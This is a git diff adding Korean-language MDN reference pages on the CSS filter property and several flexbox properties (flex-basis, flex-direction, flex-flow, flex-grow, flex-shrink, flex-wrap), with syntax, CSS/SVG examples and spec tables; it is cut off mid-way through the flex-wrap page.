CSS 표준은 미리 정의된 효과를 내는 몇 가지 함수를 포함하고 있습니다. SVG 필터 요소를 가리키는 URL 참조를 사용하여 SVG 필터를 적용할 수도 있습니다.

+ +
{{EmbedInteractiveExample("pages/css/filter.html")}}
+ + + +

구문

+ +
/* SVG 필터를 가리키는 URL */
+filter: url("filters.svg#filter-id");
+
+/* <filter-function> 값 */
+filter: blur(5px);
+filter: brightness(0.4);
+filter: contrast(200%);
+filter: drop-shadow(16px 16px 20px blue);
+filter: grayscale(50%);
+filter: hue-rotate(90deg);
+filter: invert(75%);
+filter: opacity(25%);
+filter: saturate(30%);
+filter: sepia(60%);
+
+/* 다중 값 */
+filter: contrast(175%) brightness(3%);
+
+/* 필터 없음 */
+filter: none;
+
+/* 전역 값 */
+filter: inherit;
+filter: initial;
+filter: unset;
+ +

함수를 사용하려면 다음 구문을 사용하세요.

+ +
filter: <filter-function> [<filter-function>]* | none
+
+ +

SVG {{SVGElement("filter")}} 요소에 대한 참조를 사용하려면 다음 구문을 사용하세요.

+ +
filter: url(svg-url#element-id)
+
+ +

보간

+ +

보간의 처음과 끝 필터의 함수 목록 길이가 같고, 그 안에 {{cssxref("<url>")}} 값이 없으면, 각 필터 함수는 스스로의 특정 규칙을 따라 보간됩니다. 함수의 길이가 서로 다를 때는 긴 필터 목록에만 존재하는 필터를 짧은 필터 목록에 추가하며, 이 때 추가된 필터의 값으로는 누락 값(누락 시의 기본값)을 사용합니다. 이후 각 필터 함수는 서로 동일한 길이일 때와 같은 방식으로 보간합니다. 만약 한쪽의 필터가 none일 경우 다른 쪽 필터 목록을 모두 가져오고, 각각에 누락 값을 대입한 후 보간합니다. 이 외의 경우에는 이산적 보간을 사용합니다.

+ +

함수

+ +

filter 속성은 none 또는 아래의 함수를 하나 이상 사용해 지정할 수 있습니다. 어떤 함수의 매개변수가 유효하지 않다면, 그 함수는 none을 반환합니다. 따로 명시하지 않으면 백분율 값(34% 등)을 받는 함수는 그 백분율의 소수 표기(0.34 등)도 받을 수 있습니다.

+ +

SVG 필터

+ +

url()

+ +

SVG 필터를 가리키는 URI를 받습니다. 외부 XML 파일에 포함된 필터도 가능합니다.

+ +
filter: url(resources.svg#c1)
+ +

필터 함수

+ +

blur()

+ +

{{cssxref("filter-function/blur", "blur()")}} 함수는 주어진 이미지에 가우시안 블러를 적용합니다. radius 값은 정규 분포의 표준 편차, 즉 화면에서 혼합할 픽셀의 수를 지정하므로 값이 클수록 이미지가 흐려집니다. 보간 시 누락값은 0입니다. 매개변수는 CSS 길이로 명시되어 있지만 백분율 값은 받지 않습니다.

+ +
filter: blur(5px)
+
+ + + +
<svg style="position: absolute; top: -99999px" xmlns="http://www.w3.org/2000/svg">
+  <filter id="svgBlur" x="-5%" y="-5%" width="110%" height="110%">
+    <feGaussianBlur in="SourceGraphic" stdDeviation="5"/>
+  </filter>
+</svg>
+ +

{{EmbedLiveSample('blur_example','100%','236px','','', 'no-codepen')}}

+ +

brightness()

+ +

{{cssxref("filter-function/brightness", "brightness()")}} 함수는 주어진 이미지에 선형 배수를 적용하여 이미지를 밝거나 어둡게 표시합니다. 0%일 경우 완전히 검은색 이미지가 되고, 100%일 경우 이미지가 그대로 유지되며, 이외의 값은 효과의 선형 배수로 작용합니다. 100%보다 큰 값도 허용되며, 이때는 더 밝은 이미지가 생성됩니다. 보간 시 누락값은 1입니다.

+ +
filter: brightness(0.5)
+ +
<svg style="position: absolute; top: -99999px" xmlns="http://www.w3.org/2000/svg">
+  <filter id="brightness">
+    <feComponentTransfer>
+      <feFuncR type="linear" slope="[amount]"/>
+      <feFuncG type="linear" slope="[amount]"/>
+      <feFuncB type="linear" slope="[amount]"/>
+    </feComponentTransfer>
+  </filter>
+</svg>
+ + + +

{{EmbedLiveSample('brightness_example','100%','231px','','', 'no-codepen')}}

+ +

contrast()

+ +

{{cssxref("filter-function/constrast", "constrast()")}} 함수는 주어진 이미지의 대비를 조정합니다. 0%일 경우 완전히 회색 이미지가 되고, 100%일 경우 이미지가 그대로 유지됩니다. 100%보다 큰 값도 허용되며, 이때는 대비가 더 큰 이미지가 생성됩니다. 보간 시 누락값은 1입니다.

+ +
filter: contrast(200%)
+
+ +
<svg style="position: absolute; top: -99999px" xmlns="http://www.w3.org/2000/svg">
+  <filter id="contrast">
+    <feComponentTransfer>
+      <feFuncR type="linear" slope="[amount]" intercept="-(0.5 * [amount]) + 0.5"/>
+      <feFuncG type="linear" slope="[amount]" intercept="-(0.5 * [amount]) + 0.5"/>
+      <feFuncB type="linear" slope="[amount]" intercept="-(0.5 * [amount]) + 0.5"/>
+    </feComponentTransfer>
+  </filter>
+</svg>
+ + + +

{{EmbedLiveSample('contrast_example','100%','203px','','', 'no-codepen')}}

+ +

drop-shadow()

+ +

{{cssxref("filter-function/drop-shadow", "drop-shadow()")}} 함수는 주어진 이미지에 그림자 효과를 적용합니다. 이때 추가하는 그림자는, 주어진 이미지의 알파 마스크에 특정한 색상과 오프셋, 흐림 효과를 적용하고 이미지 밑에 합성한 것입니다. 이 함수는 inset 키워드를 제외하고 (CSS3 Backgrounds에 정의된) <shadow> 자료형의 매개변수를 그대로 받을 수 있습니다. drop-shadow()는 보다 확립된 {{cssxref("box-shadow")}} 속성과 비슷하지만, 일부 브라우저에서는 필터를 사용했을 때 성능 향상을 위해 하드웨어 가속을 사용한다는 차이점이 있습니다. <shadow> 값의 매개변수는 다음과 같습니다.

+ +
+
<offset-x> <offset-y> (필수)
+
그림자 오프셋을 설정하는 두 {{cssxref("<length>")}} 값입니다. <offset-x>는 가로 거리를 지정하며, 음수일 경우 그림자가 왼쪽에 배치됩니다. <offset-y>는 세로 거리를 지정하며, 음수일 경우 그림자가 위쪽에 배치됩니다. 가능한 단위는 {{cssxref("<length>")}}를 참조하세요.
+ 두 값이 모두 0이면 그림자가 요소 바로 밑에 배치되며, <blur-radius><spread-radius>를 설정한 경우 흐림 효과를 표시할 수 있습니다.
+
<blur-radius> (선택)
+
세 번째 {{cssxref("<length>")}} 값입니다. 클수록 흐려지는 반경이 커지고 그림자가 옅어집니다. 음수 값은 사용할 수 없습니다. 값을 지정하지 않으면 0으로 취급하여 그림자 가장자리가 날카로워집니다.
+
<color> (선택)
+
가능한 키워드 및 표기법은 {{cssxref("<color>")}}를 참조하세요. 값을 지정하지 않았을 때의 색상은 브라우저에 따라 다릅니다. 보통 {{cssxref("<color>")}} 속성의 값을 사용하지만, 현재 사파리는 투명한 그림자를 그리는 것을 주의하세요.
+
+ +
filter: drop-shadow(16px 16px 10px black)
+ +
<svg style="position: absolute; top: -999999px" xmlns="http://www.w3.org/2000/svg">
+ <filter id="drop-shadow">
+    <feGaussianBlur in="SourceAlpha" stdDeviation="[radius]"/>
+    <feOffset dx="[offset-x]" dy="[offset-y]" result="offsetblur"/>
+    <feFlood flood-color="[color]"/>
+    <feComposite in2="offsetblur" operator="in"/>
+    <feMerge>
+      <feMergeNode/>
+      <feMergeNode in="SourceGraphic"/>
+    </feMerge>
+  </filter>
+</svg>
+ + + +

{{EmbedLiveSample('shadow_example','100%','300px','','','no-codepen')}}

+ +

grayscale()

+ +

{{cssxref("filter-function/grayscale", "grayscale()")}} 함수는 주어진 이미지를 흑백으로 변환합니다. amount 값은 흑백으로 전환하는 비율을 지정합니다. 100%일 경우 완전히 흑백 이미지가 되고, 0%일 경우 이미지가 그대로 유지되며, 그 사이의 값은 효과의 선형 배수로 작용합니다. 보간 시 누락 값은 0입니다.

+ +
filter: grayscale(100%)
+ + + +

{{EmbedLiveSample('grayscale_example','100%','209px','','','no-codepen')}}

+ +

hue-rotate()

+ +

{{cssxref("filter-function/hue-rotate", "hue-rotate()")}} 함수는 주어진 이미지에 색조 회전을 적용합니다. angle 값은 입력 샘플을 조절할 색상환 각도입니다. 0deg일 경우 이미지가 그대로 유지됩니다. 보간 시 누락 값은 0입니다. 최댓값이 존재하지는 않지만, 360deg 이상의 값은 0deg360deg 사이를 순환합니다.

+ +
filter: hue-rotate(90deg)
+ + + +
<svg style="position: absolute; top: -999999px" xmlns="http://www.w3.org/2000/svg">
+  <filter id="svgHueRotate" >
+    <feColorMatrix type="hueRotate" values="[angle]" />
+  <filter />
+</svg>
+ +

{{EmbedLiveSample('huerotate_example','100%','221px','','','no-codepen')}}

+ +

invert()

+ +

{{cssxref("filter-function/invert", "invert()")}} 함수는 주어진 이미지의 색을 반전합니다. amount 값이 변형 정도를 지정합니다. 100%일 경우 색을 정반대로 바꾸고, 0%일 경우 이미지를 그대로 유지하며, 그 사이의 값은 효과의 선형 배수로 작용합니다. 보간 시 누락 값은 0입니다.

+ +
filter: invert(100%)
+ + + +

{{EmbedLiveSample('invert_example','100%','407px','','','no-codepen')}}

+ +

opacity()

+ +

{{cssxref("filter-function/opacity", "opacity()")}} 함수는 주어진 이미지의 불투명도를 설정합니다. amount 값이 변형 정도를 지정합니다. 0%일 경우 완전히 투명해지고, 100%일 경우 이미지를 그대로 유지하며, 그 사이의 값은 효과의 선형 배수로 작용합니다. 즉 주어진 이미지 샘플을 amount와 곱하는 것과 같습니다. 보간 시 누락 값은 1입니다. 이 함수는 보다 확립된 {{cssxref("opacity")}} 속성과 비슷하지만, 일부 브라우저에서는 필터를 사용했을 때 성능 향상을 위해 하드웨어 가속을 사용한다는 차이점이 있습니다.

+ +
filter: opacity(50%)
+ + + +

{{EmbedLiveSample('opacity_example','100%','210px','','','no-codepen')}}

+ +

saturate()

+ +

{{cssxref("filter-function/saturate", "saturate()")}} 함수는 주어진 이미지의 채도를 변경합니다. amount 값이 변형 정도를 지정합니다. 0%일 경우 완전히 무채색이 되고, 100%일 경우 이미지를 그대로 유지하며, 그 사이의 값은 효과의 선형 배수로 작용합니다. 100%보다 큰 값도 허용되며, 이때는 원본보다 채도가 큰 이미지를 생성합니다. 보간 시 누락 값은 1입니다.

+ +
filter: saturate(200%)
+ + + +

{{EmbedLiveSample('saturate_example','100%','332px','','','no-codepen')}}

+ +

sepia()

+ +

{{cssxref("filter-function/sepia", "sepia()")}} 함수는 주어진 이미지를 세피아로 변환합니다. amount 값이 변형 정도를 지정합니다. 100%일 경우 완전히 세피아가 되고, 0%에서는 이미지를 그대로 유지하며, 그 사이의 값은 효과의 선형 배수로 작용합니다. 보간 시 누락 값은 0입니다.

+ +
filter: sepia(100%)
+ + + +

{{EmbedLiveSample('sepia_example','100%','229px','','','no-codepen')}}

+ +

함수 조합

+ +

원하는 만큼 함수를 조합해서 그려지는 모습을 바꿀 수 있습니다. 다음 에제는 이미지의 대비와 밝기를 동시에 높입니다.

+ +
filter: contrast(175%) brightness(103%)
+ + + +

{{EmbedLiveSample('combination_example','100%','209px','','','no-codepen')}}

+ +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

필터 함수 적용하기

+ +

미리 정의된 함수는 다음 예제처럼 사용할 수 있습니다. 각 함수 문서에서 더 자세한 내용을 살펴보세요.

+ +
.mydiv {
+  filter: grayscale(50%);
+}
+
+/* 모든 이미지를 50% 흑백 처리하고 10px 흐리게 */
+img {
+  filter: grayscale(0.5) blur(10px);
+}
+ +

SVG 필터 적용하기

+ +

URL 함수와 SVG 리소스를 사용하는 방법은 다음과 같습니다.

+ +
.target {
+  filter: url(#c1);
+}
+
+.mydiv {
+  filter: url(commonfilters.xml#large-blur);
+}
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태비고
{{ SpecName('Filters 1.0', '#FilterProperty', 'filter') }}{{ Spec2('Filters 1.0') }}초기 정의
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.filter")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/filter_effects/index.html b/files/ko/web/css/filter_effects/index.html new file mode 100644 index 0000000000..dfd022f08e --- /dev/null +++ b/files/ko/web/css/filter_effects/index.html @@ -0,0 +1,70 @@ +--- +title: Filter Effects +slug: Web/CSS/Filter_Effects +tags: + - CSS + - Filter Effects + - Guide + - Overview + - Reference +translation_of: Web/CSS/Filter_Effects +--- +
{{CSSRef}}
+ +

Filter Effects는 요소의 렌더링을 문서에 표시하기 전에 전처리하는 방법을 정의하는 CSS 모듈입니다.

+ +

참고서

+ +

속성

+ +
+
    +
  • {{cssxref("backdrop-filter")}}
  • +
  • {{cssxref("filter")}}
  • +
+
+ +

자료형

+ +
+
    +
  • {{cssxref("<filter-function>")}}
  • +
+
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('Filters 1.0', '#FilterProperty', 'filter') }}{{ Spec2('Filters 1.0') }}Initial definition.
+ +

브라우저 호환성

+ +

backdrop-filter 속성

+ +
+ + +

{{Compat("css.properties.backdrop-filter")}}

+ +

filter 속성

+ +
+ + +

{{Compat("css.properties.filter")}}

+
+
diff --git a/files/ko/web/css/flex-basis/index.html b/files/ko/web/css/flex-basis/index.html new file mode 100644 index 0000000000..6e162086ad --- /dev/null +++ b/files/ko/web/css/flex-basis/index.html @@ -0,0 +1,209 @@ +--- +title: flex-basis +slug: Web/CSS/flex-basis +tags: + - CSS + - CSS Flexible Boxes + - CSS Property + - Reference +translation_of: Web/CSS/flex-basis +--- +
{{CSSRef}}
+ +

flex-basis CSS 속성은 플렉스 아이템의 초기 크기를 지정합니다. {{cssxref("box-sizing")}}을 따로 지정하지 않는다면 콘텐츠 박스의 크기를 변경합니다.

+ +
{{EmbedInteractiveExample("pages/css/flex-basis.html")}}
+ + + +
+

참고: auto 값을 가지지 않은 flex-basis와 {{cssxref("width")}}({{cssxref("flex-direction")}}: column인 경우 {{cssxref("height")}}) 값을 동시에 적용한 경우 flex-basis가 우선합니다.

+
+ +

구문

+ +
/* <'width'> 지정 */
+flex-basis: 10em;
+flex-basis: 3px;
+flex-basis: auto;
+
+/* 원본 크기 키워드 */
+flex-basis: fill;
+flex-basis: max-content;
+flex-basis: min-content;
+flex-basis: fit-content;
+
+/* 플렉스 아이템 내용 크기에 따라 조절 */
+flex-basis: content;
+
+/* 전역 값 */
+flex-basis: inherit;
+flex-basis: initial;
+flex-basis: unset;
+
+ +

flex-basis 속성값은 content 키워드를 사용하거나, <'width'>를 나타내는 단위를 사용합니다.

+ +

+ +
+
<'width'>
+
{{cssxref("<length>")}}, 플렉스 컨테이너의 크기에 상대적인 {{cssxref("<percentage>")}}, auto 키워드 중 하나. 음수 값은 유효하지 않습니다.
+
content
+
플렉스 아이템의 콘텐츠 크기에 따라 자동으로 크기가 변합니다.
+
+
참고: content 키워드는 Flexible Box Layout의 첫 배포에 포함되지 않아, 일부 오래 된 구현체에서는 지원하지 않을 수 있습니다. flex-basis와 주 크기({{cssxref("width")}}, {{cssxref("height")}}) 속성을 동시에 auto로 설정하면 동일한 효과를 볼 수 있습니다.
+ +
+

역사:

+ +
    +
  • 원래 flex-basis: auto의 뜻은 자신의 width 또는 height 속성의 값을 사용하라는 것이었습니다.
  • +
  • 그 후 flex-basis: auto는 자동 크기조절로 바뀌고, 기존의 automain-size로 바뀌었습니다. bug 1032922에서 구현 기록을 볼 수 있습니다.
  • +
  • 그러나 위의 변경점은 bug 1093316에서 되돌려져 auto 가 다시 width / height 속성을 가리키게 됐고, 대신 새로운 content 키워드가 자동 크기조절을 맡게 됐습니다. ({{bug("1105111")}}에서 볼 수 있습니다)
  • +
+
+
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

HTML

+ +
<ul class="container">
+  <li class="flex flex1">1: flex-basis test</li>
+  <li class="flex flex2">2: flex-basis test</li>
+  <li class="flex flex3">3: flex-basis test</li>
+  <li class="flex flex4">4: flex-basis test</li>
+  <li class="flex flex5">5: flex-basis test</li>
+</ul>
+
+<ul class="container">
+  <li class="flex flex6">6: flex-basis test</li>
+</ul>
+
+ +

CSS

+ +
.container {
+  font-family: arial, sans-serif;
+  margin: 0;
+  padding: 0;
+  list-style-type: none;
+  display: flex;
+  flex-wrap: wrap;
+}
+
+.flex {
+  background: #6AB6D8;
+  padding: 10px;
+  margin-bottom: 50px;
+  border: 3px solid #2E86BB;
+  color: white;
+  font-size: 20px;
+  text-align: center;
+  position: relative;
+}
+
+.flex:after {
+  position: absolute;
+  z-index: 1;
+  left: 0;
+  top: 100%;
+  margin-top: 10px;
+  width: 100%;
+  color: #333;
+  font-size: 18px;
+}
+
+.flex1 {
+  flex-basis: auto;
+}
+
+.flex1:after {
+  content: 'auto';
+}
+
+.flex2 {
+  flex-basis: max-content;
+}
+
+.flex2:after {
+  content: 'max-content';
+}
+
+.flex3 {
+  flex-basis: min-content;
+}
+
+.flex3:after {
+  content: 'min-content';
+}
+
+.flex4 {
+  flex-basis: fit-content;
+}
+
+.flex4:after {
+  content: 'fit-content';
+}
+
+.flex5 {
+   flex-basis: content;
+}
+
+.flex5:after {
+  content: 'content';
+}
+
+.flex6 {
+  flex-basis: fill;
+}
+
+.flex6:after {
+  content: 'fill';
+}
+
+ +

결과

+ +

{{EmbedLiveSample('예제', '860', '360', '')}}

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Flexbox', '#propdef-flex-basis', 'flex-basis')}}{{Spec2('CSS3 Flexbox')}}Initial definition
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.flex-basis")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/flex-direction/index.html b/files/ko/web/css/flex-direction/index.html new file mode 100644 index 0000000000..9d3ae04a49 --- /dev/null +++ b/files/ko/web/css/flex-direction/index.html @@ -0,0 +1,155 @@ +--- +title: flex-direction +slug: Web/CSS/flex-direction +tags: + - CSS + - CSS Flexible Boxes + - CSS Property + - Reference +translation_of: Web/CSS/flex-direction +--- +
{{CSSRef}}
+ +

flex-direction CSS 속성은 플렉스 컨테이너 내의 아이템을 배치할 때 사용할 주축 및 방향(정방향, 역방향)을 지정합니다.

+ +
{{EmbedInteractiveExample("pages/css/flex-direction.html")}}
+ + + +

rowrow-reverse의 경우 플렉스 컨테이너의 방향성에 영향을 받음을 참고하세요. 컨테이너의 dir 값이 ltr이라면 row는 왼쪽부터 시작하는 가로축을, row-reverse는 오른쪽부터 시작하는 가로축을 나타냅니다. 그러나 dir 값이 rtl이라면 row가 오른쪽부터 시작하는 가로축을, row-reverse가 왼쪽부터 시작하는 가로축을 나타냅니다.

+ +

구문

+ +
/* 한 줄의 글을 작성하는 방향대로 */
+flex-direction: row;
+
+/* <row>처럼, 대신 역방향 */
+flex-direction: row-reverse;
+
+/* 글 여러 줄이 쌓이는 방향대로 */
+flex-direction: column;
+
+/* <column>처럼, 대신 역방향 */
+flex-direction: column-reverse;
+
+/* 전역 값 */
+flex-direction: inherit;
+flex-direction: initial;
+flex-direction: unset;
+
+ +

+ +
+
row
+
플렉스 컨테이너의 주축이 글의 작성 방향과 동일합니다. 주축의 시작점과 끝점이 콘텐츠 방향과 동일합니다.
+
row-reverse
+
row와 동일하게 동작하지만 시작점과 끝점이 반대에 위치합니다.
+
column
+
플렉스 컨테이너의 주축이 블록 축과 동일합니다. 주축의 시작점과 끝점이, 글 작성 모드의 이전 지점 및 이후 지점과 동일합니다.
+
column-reverse
+
column과 동일하게 동작하지만 시작점과 끝점이 반대에 위치합니다.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

HTML

+ +
<h4>This is a Column-Reverse</h4>
+<div id="content">
+    <div class="box" style="background-color:red;">A</div>
+    <div class="box" style="background-color:lightblue;">B</div>
+    <div class="box" style="background-color:yellow;">C</div>
+</div>
+<h4>This is a Row-Reverse</h4>
+<div id="content1">
+    <div class="box1" style="background-color:red;">A</div>
+    <div class="box1" style="background-color:lightblue;">B</div>
+    <div class="box1" style="background-color:yellow;">C</div>
+</div>
+
+ +

CSS

+ +
#content {
+  width: 200px;
+  height: 200px;
+  border: 1px solid #c3c3c3;
+  display: -webkit-flex;
+  -webkit-flex-direction: column-reverse;
+  display: flex;
+  flex-direction: column-reverse;
+}
+
+.box {
+  width: 50px;
+  height: 50px;
+}
+
+#content1 {
+  width: 200px;
+  height: 200px;
+  border: 1px solid #c3c3c3;
+  display: -webkit-flex;
+  -webkit-flex-direction: row-reverse;
+  display: flex;
+  flex-direction: row-reverse;
+}
+
+.box1 {
+  width: 50px;
+  height: 50px;
+}
+ +

결과

+ +

{{ EmbedLiveSample('예제', '', '300') }}

+ +

접근성 고려사항

+ +

flex-direction 속성에 row-reverse 또는 column-reverse 값을 사용하면 DOM 구조와 그 시각적 표현에 차이가 생깁니다. 이는 낮은 시력으로 스크린 리더 등 접근성 기술을 사용해 이동하는 사용자의 경험에 부정적인 영향을 줄 수 있습니다. 시각적(CSS) 순서가 중요하다고 해도, 스크린 리더 사용자는 그 순서가 어떻게 되는지 알 수 없습니다.

+ + + +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Flexbox', '#flex-direction', 'flex-direction')}}{{Spec2('CSS3 Flexbox')}}Initial definition
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.flex-direction")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/flex-flow/index.html b/files/ko/web/css/flex-flow/index.html new file mode 100644 index 0000000000..33d68c5188 --- /dev/null +++ b/files/ko/web/css/flex-flow/index.html @@ -0,0 +1,91 @@ +--- +title: flex-flow +slug: Web/CSS/flex-flow +tags: + - CSS + - CSS Flexible Boxes + - CSS Property + - Reference +translation_of: Web/CSS/flex-flow +--- +
{{CSSRef}}
+ +

flex-flow CSS 속성은 {{cssxref("flex-direction")}}, {{cssxref("flex-wrap")}} 속성의 단축 속성입니다.

+ +
{{EmbedInteractiveExample("pages/css/flex-flow.html")}}
+ + + +

구문

+ +
/* flex-flow: <'flex-direction'> */
+flex-flow: row;
+flex-flow: row-reverse;
+flex-flow: column;
+flex-flow: column-reverse;
+
+/* flex-flow: <'flex-wrap'> */
+flex-flow: nowrap;
+flex-flow: wrap;
+flex-flow: wrap-reverse;
+
+/* flex-flow: <'flex-direction'>과 <'flex-wrap'> */
+flex-flow: row nowrap;
+flex-flow: column wrap;
+flex-flow: column-reverse wrap-reverse;
+
+/* 전역 값 */
+flex-flow: inherit;
+flex-flow: initial;
+flex-flow: unset;
+
+ +

+ +

자세한 내용은 {{cssxref("flex-direction")}}과 {{cssxref("flex-wrap")}} 속성을 참고하세요.

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +
element {
+  /* Main-axis is the block direction with reversed main-start and main-end. Flex items are laid out in multiple lines */
+  flex-flow: column-reverse wrap;
+}
+
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Flexbox','#flex-flow-property','flex-flow') }}{{ Spec2('CSS3 Flexbox') }}Initial definition
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.flex-flow")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/flex-grow/index.html b/files/ko/web/css/flex-grow/index.html new file mode 100644 index 0000000000..544fe486cc --- /dev/null +++ b/files/ko/web/css/flex-grow/index.html @@ -0,0 +1,123 @@ +--- +title: flex-grow +slug: Web/CSS/flex-grow +tags: + - CSS + - CSS Flexible Boxes + - CSS Property + - NeedsContent + - Reference +translation_of: Web/CSS/flex-grow +--- +
{{CSSRef}}
+ +

flex-grow CSS property 는 flex-item 요소가, flex-container 요소 내부에서 할당 가능한 공간의 정도를 선언합니다. 만약 형제 요소로 렌더링 된 모든 flex-item 요소들이 동일한 flex-grow 값을 갖는다면, flex-container 내부에서 동일한 공간을 할당받습니다. 하지만 flex-grow 값으로 다른 소수값을 지정한다면, 그에 따라 다른 공간값을 나누어 할당받게 됩니다.

+ +

보통 flex-grow를 사용할땐, {{ Cssxref("flex-shrink") }}, {{ Cssxref("flex-basis") }} 속성을 함께 사용합니다. 그리고 일반적으로는 모든 값이 설정되었음을 보장하기 위하여 {{ Cssxref("flex") }} 속성을 이용해 축약형으로 사용합니다.

+ +
{{EmbedInteractiveExample("pages/css/flex-grow.html")}}
+ + + +

Syntax

+ +
/* <number> values */
+flex-grow: 3;
+flex-grow: 0.6;
+
+/* Global values */
+flex-grow: inherit;
+flex-grow: initial;
+flex-grow: unset;
+
+ +

flex-grow 속성에 대한 값은 <number> 단독으로 표현합니다.

+ +

Values

+ +
+
<number>
+
관련 링크를 참고하세요. {{cssxref("<number>")}}. 단, 음수값은 허용되지 않습니다.
+
+ +

Formal syntax

+ +
{{csssyntax}}
+ +

Example

+ +

HTML

+ +
+
<h4>This is a Flex-Grow</h4>
+<h5>A,B,C and F are flex-grow:1 . D and E are flex-grow:2 .</h5>
+<div id="content">
+  <div class="box" style="background-color:red;">A</div>
+  <div class="box" style="background-color:lightblue;">B</div>
+  <div class="box" style="background-color:yellow;">C</div>
+  <div class="box1" style="background-color:brown;">D</div>
+  <div class="box1" style="background-color:lightgreen;">E</div>
+  <div class="box" style="background-color:brown;">F</div>
+</div>
+
+ +

CSS

+ +
#content {
+  display: flex;
+
+  justify-content: space-around;
+  flex-flow: row wrap;
+  align-items: stretch;
+}
+
+.box {
+  flex-grow: 1;
+  border: 3px solid rgba(0,0,0,.2);
+}
+
+.box1 {
+  flex-grow: 2;
+  border: 3px solid rgba(0,0,0,.2);
+}
+
+
+ +

Result

+ +

{{EmbedLiveSample('Example', '700px', '300px', '', 'Web/CSS/flex-grow')}}

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Flexbox','#flex-grow-property','flex-grow')}}{{Spec2('CSS3 Flexbox')}}Initial definition
+ +

{{cssinfo}}

+ +

Browser compatibility

+ + + +

{{Compat("css.properties.flex-grow")}}

+ +

See also

+ + diff --git a/files/ko/web/css/flex-shrink/index.html b/files/ko/web/css/flex-shrink/index.html new file mode 100644 index 0000000000..14a6f5427f --- /dev/null +++ b/files/ko/web/css/flex-shrink/index.html @@ -0,0 +1,123 @@ +--- +title: flex-shrink +slug: Web/CSS/flex-shrink +tags: + - CSS + - CSS Flexible Boxes + - CSS Property + - NeedsContent + - Reference +translation_of: Web/CSS/flex-shrink +--- +
{{CSSRef}}
+ +

flex-shrink CSS property는 flex-item 요소의 flex-shrink 값을 설정하는 속성입니다. 만약 flex-item 요소의 크기가 flex-container 요소의 크기보다 클 때 flex-shrink 속성을 사용하는데, 설정된 숫자값에 따라 flex-container 요소 내부에서 flex-item 요소의 크기가 축소됩니다.

+ +
{{EmbedInteractiveExample("pages/css/flex-shrink.html")}}
+ + + +

Syntax

+ +
/* <number> values */
+flex-shrink: 2;
+flex-shrink: 0.6;
+
+/* Global values */
+flex-shrink: inherit;
+flex-shrink: initial;
+flex-shrink: unset;
+
+ +

The flex-shrink property is specified as a single <number>.

+ +

Values

+ +
+
<number>
+
관련 링크를 참고하세요{{cssxref("<number>")}}. 단, 음수값은 허용되지 않습니다.
+
+ +

Formal syntax

+ +
{{csssyntax}}
+
+ +

Example

+ +

HTML

+ +
+
<p>The width of content is 500px; the flex-basis of the flex items is 120px.</p>
+<p>A, B, C have flex-shrink:1 set. D and E have flex-shrink:2 set</p>
+<p>The width of D and E is less than the others.</p>
+<div id="content">
+  <div class="box" style="background-color:red;">A</div>
+  <div class="box" style="background-color:lightblue;">B</div>
+  <div class="box" style="background-color:yellow;">C</div>
+  <div class="box1" style="background-color:brown;">D</div>
+  <div class="box1" style="background-color:lightgreen;">E</div>
+</div>
+
+ +

CSS

+ +
#content {
+  display: flex;
+  width: 500px;
+}
+
+#content div {
+  flex-basis: 120px;
+  border: 3px solid rgba(0,0,0,.2);
+}
+
+.box {
+  flex-shrink: 1;
+}
+
+.box1 {
+  flex-shrink: 2;
+}
+
+
+ +

Result

+ +

{{ EmbedLiveSample('Example', 500, 300) }}

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Flexbox', '#flex-shrink', 'flex-shrink') }}{{ Spec2('CSS3 Flexbox') }}Initial definition
+ +

{{cssinfo}}

+ +

Browser compatibility

+ + + +

{{Compat("css.properties.flex-shrink")}}

+ +

See also

+ + + +

diff --git a/files/ko/web/css/flex-wrap/index.html b/files/ko/web/css/flex-wrap/index.html new file mode 100644 index 0000000000..7ee27b4386 --- /dev/null +++ b/files/ko/web/css/flex-wrap/index.html @@ -0,0 +1,159 @@ +--- +title: flex-wrap +slug: Web/CSS/flex-wrap +tags: + - CSS + - CSS Flexible Boxes + - CSS Property + - Reference +translation_of: Web/CSS/flex-wrap +--- +
{{ CSSRef}}
+ +

CSS flex-wrap property는 flex-item 요소들이 강제로 한줄에 배치되게 할 것인지, 또는 가능한 영역 내에서 벗어나지 않고 여러행으로 나누어 표현 할 것인지 결정하는 속성입니다. 만약 영역 내에서 벗어나지 못하게 설정한다면, 동시에 요소의 방향 축을 결정할 수 있습니다.

+ +
{{EmbedInteractiveExample("pages/css/flex-wrap.html")}}
+ + + +

여기를 참고하면 관련된 더욱 자세한 정보를 얻을 수 있습니다. Using CSS flexible boxes

+ +

Syntax

+ +
flex-wrap: nowrap; /* Default value */
+flex-wrap: wrap;
+flex-wrap: wrap-reverse;
+
+/* Global values */
+flex-wrap: inherit;
+flex-wrap: initial;
+flex-wrap: unset;
+
+ +

flex-wrap 속성의 값으로, 다음 목록 중 하나의 키워드를 선택할 수 있습니다.

+ +

Values

+ +

아래는 사용 가능한 속성값들입니다:

+ +
+
nowrap
+
기본 설정값으로, flex-container 부모요소 영역을 벗어나더라도 flex-item 요소들을 한 줄에 배치합니다. 시작점은 {{cssxref("flex-direction")}} 에 의해 결정된 방향으로 적용됩니다.
+
wrap
+
